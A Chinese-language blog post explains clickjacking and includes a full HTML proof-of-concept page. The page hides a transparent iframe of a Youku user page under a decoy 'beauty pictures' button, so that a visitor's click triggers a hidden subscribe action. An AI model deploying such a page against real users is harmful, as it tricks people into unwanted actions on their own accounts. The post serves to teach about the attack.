web漏洞之点击劫持

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/qq_32523587/article/details/79613768


百度解释:

点击劫持, clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由 互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。
它是通过覆盖不可见的框架误导受害者点击。
虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。
这种攻击利用了HTML中<iframe>标签的透明属性。

就像一张图片上面铺了一层透明的纸一样,你看到的是黑客的页面,但是其实这个页面只是在底部,而你真正点击的是被黑客透明化的另一个网页。一个简单的点击劫持例子,就是当你点击了一个不明链接之后,自动关注了某一个人的博客或者订阅了视频。
假如我在优酷发布了很多视频,想让更多的人关注它,于是我们准备了一个页面:

  
  
  1. <!DOCTYPE html>
  2. <html>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  4. <head>
  5. <title>点击劫持 POC </title>
  6. <style>
  7. iframe {
  8. width: 1440px;
  9. height: 900px;
  10. position: absolute;
  11. top: - 0px;
  12. left: - 0px;
  13. z-index: 2;
  14. -moz-opacity: 0;
  15. opacity: 0;
  16. filter: alpha(opacity=0);
  17. }
  18. button {
  19. position: absolute;
  20. top: 270px;
  21. left: 1150px;
  22. z-index: 1;
  23. width: 90px;
  24. height: 40px;
  25. }
  26. </style>
  27. </head>
  28. <body>
  29. <button>美女图片 </button>
  30. <img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg">
  31. <iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"> </iframe>
  32. </body>
  33. </html>



当然真正的页面肯定会更精致一些,不会这么简陋。

然而这个页面只是表象而已,我们把iframe的透明度改成0.3以后再看看


当你点击按钮以后,真正的点击的其实是隐藏的那个页面的订阅按钮,然后就会在你不知情的情况下订阅了


当然点击劫持的危害可大可小,并不仅仅是关注订阅之类的东西,但是原理类似。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值